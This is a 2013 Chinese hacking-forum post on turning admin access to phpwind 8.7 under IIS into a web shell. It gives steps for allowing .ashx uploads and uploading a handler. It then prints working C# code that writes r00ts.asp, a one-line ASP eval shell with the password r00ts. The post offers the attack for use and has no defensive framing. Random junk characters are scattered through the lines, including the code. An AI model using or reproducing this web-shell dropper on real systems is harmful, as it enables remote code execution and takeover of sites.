找回密码
 立即注册
查看: 3006|回复: 0
打印 上一主题 下一主题

phpwind 8.7 后台拿shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-26 12:41:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
. L; k' x9 u; {  }% { , u- ~0 e8 \  w" z- o
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
: P4 V5 g! }1 P: |0 A) Z' I
  W2 I1 A: D; V- A) `' d, d0 C发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
& h0 i, a6 ^8 t$ y4 j+ Q) `% d6 A
- `; ^0 {* K6 _3 S3 n" n) X然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx( S7 X( i6 I' m/ ~& r9 S

! ]7 `0 H7 y. s% F* q$ }打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
) b( d, @; j2 F# |+ d ) X0 a% q& z6 a4 d7 a* v; }
下面是代码:
9 I3 U# }: Q# b' x7 T; p
4 R6 E' v: U& s) D<%@ WebHandler Language="C#"Class="Handler" %>
. x  X, r0 E# q  K4 dusing System;* M+ p0 j# n& Y
using System.Web;/ |; [0 h" Z/ _# n
using System.IO;
8 z: o, [! e5 B$ X) Hpublic class Handler : IHttpHandler {9 r/ z  @9 ?6 v, S1 x1 A
public void ProcessRequest (HttpContext context) {) l) l& ^. h! o* t8 G* N  z1 [
context.Response.ContentType = "text/plain";
4 m, ]  K0 `/ g  PStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));: X* f, m2 r  R9 @/ Q& P; {* Y
file1.Write("<%eval request(\"r00ts\")%>");: |3 d% ^2 W$ i, b) m4 J, R4 ^- p
file1.Flush();
/ ?1 }/ H2 O# J% h$ n7 E% dfile1.Close();
/ ?8 R4 {' V* l% H$ @% Z7 K}, r. }! H* I% E
public bool IsReusable {9 p( p. _  G! D0 K
get {
' \9 e" s. ^2 ^8 A: creturn false;& X# T6 X2 ~1 S- z- u
}, w! G7 h  b" t. V1 k
}& C! s( i2 X2 J4 U5 n& N8 x" L
}
& `0 u. i9 a7 {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表